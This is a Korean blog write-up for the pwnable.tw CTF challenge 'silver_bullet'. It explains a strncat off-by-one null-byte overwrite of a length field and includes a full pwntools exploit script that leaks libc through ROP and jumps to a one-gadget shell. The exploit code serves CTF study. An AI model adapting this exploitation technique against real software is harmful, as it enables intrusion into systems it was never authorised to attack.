[ Pwnable ] silver_bullet write-up 본문

Pwnable/pwnable.tw write-up

[ Pwnable ] silver_bullet write-up

disso1p1 2021. 3. 7. 00:49

 

 

 

 

[ 메모리 보호기법 ]

 

 

 

 

 

 

[ create_bullet source code ]

  • Stack Pointer 에 값을 최대 0x30 bytes 만큼 입력 받음

  • 입력 받은 문자열의 길이는 Stack Pointer+0x40 에 저장

 

[ power_up source code ]

  • create_bullet 함수로 Stack Pointer 에 문자열을 입력 받았다면,

  • 입력받은 문자열의 길이가 0x2F 보다 크지 않으면,

  • create_bullet 함수에서 받은 문자열에 이어 strncat 을 통해 최대 0x30 bytes 만큼 덧붙임

  • 총 문자열의 길이는 Stack Pointer+0x40 에 저장 

 

[ beat source code ]

  • HP 가 0 이하가 되면 1 을 반환

  • 아니면 0 반환

  • 1 을 반환했을 때 return 0; 을 수행해 main 함수를 종료할 수 있음

 

 

 

 

 

[ 취약점 분석 ]

  • power_up 함수에 있는 strncat 에서 취약점 발생

  • 0x30 만큼 이어덮으면 그 다음 0x31 위치가 NULL 로 덮힘 → Stack Pointer+0x2F1 byteNULL 로 덮을 수 있음

  • 그 위치는 문자열의 크기를 담는 공간의 주소인 Stack Pointer+0x30 위치임 → 문자열의 크기를 NULL로 덮을 수 있음

  • power_up 함수에서 두번째 조건 (입력받은 문자열의 길이가 0x2F 보다 크지 않으면) 우회 가능

  • strncat 으로 Stack Pointer 에 있는 문자열에 이어 최대 0x30 bytes 만큼 추가 입력 가능

 

 

 

 

[ 공격 루틴 ]

 

   1. create_bullet 함수로 0x2F 이하의 길이의 문자열을 입력

   2. power_up 함수로 1 byte 입력 → Stack Pointer+0x30 (문자열 길이)NULL 로 덮힘

   3. 한번 더 power_up 함수로 페이로드를 덮음

   3-1. beat 함수에서 return 1; 을 실행하기 위해 Stack Pointer+0x30 값을 0x7FFFFFFF (HP) 보다 크게  덮음

   3-2. RET 위치를 맞춰 ROP libc leak !

   4. EIP 를 다시 main 함수로 돌린 후 같은 방법으로 ROP 를 진행

   4-1. RET 위치에 Oneshot !

 

 

 

[ Exploit ]

from pwn import *

context.log_level = 'debug'

binary = './silver_bullet'
p = remote('chall.pwnable.tw', '10103')
#p = process(binary)
e = ELF(binary)
libc = ELF('./libc_32.so.6')

sa = lambda x, y : p.sendafter(x, y)
sla = lambda x, y : p.sendlineafter(x, y)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
rvl = lambda : p.recvline()
rvu = lambda x : p.recvuntil(x)


def create(data):
    sla('choice :', '1')
    sa(':', data)
    sleep(0.1)

def power(data):
    sla('choice :', '2')
    sa(':', data)
    sleep(0.1)

def flag():
    sla('choice :', '3')




pebp = 0x08048a7b

create('A'*0x2f)
power('A')

pay = ''
pay += p32(0xffffffff)[:-1] # stack_pointer+0x30
pay += p32(e.bss()+0x300) # sfp

pay += p32(e.plt['puts']) # ret
pay += p32(e.symbols['main'])
pay += p32(e.got['puts'])

power(pay)
flag()

# libc leak !
sleep(1)
libc_base = u32(rvu('\xf7')[-4:]) - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))


# ----------------------------------------------------------


create('A'*0x2f)
power('A')

pay = ''
pay += p32(0xffffffff)[:-1] # stack_pointer+0x30
pay += p32(e.bss()+0x300) # sfp

pay += p32(libc_base+0x5f065) # ret, oneshot !

power(pay)
flag()


p.interactive()

 

 

 

 

 

'Pwnable > pwnable.tw write-up' 카테고리의 다른 글

[ Pwnable ] starbound write-up  (0) 2021.08.06
[ Pwnable ] dubblesort write-up  (0) 2021.07.31
[ Pwnable ] 3x17 write-up  (0) 2021.07.31
[ Pwnable ] seethefile write-up  (0) 2021.07.31
[ Pwnable ] unexploitable write-up  (0) 2020.11.27
Comments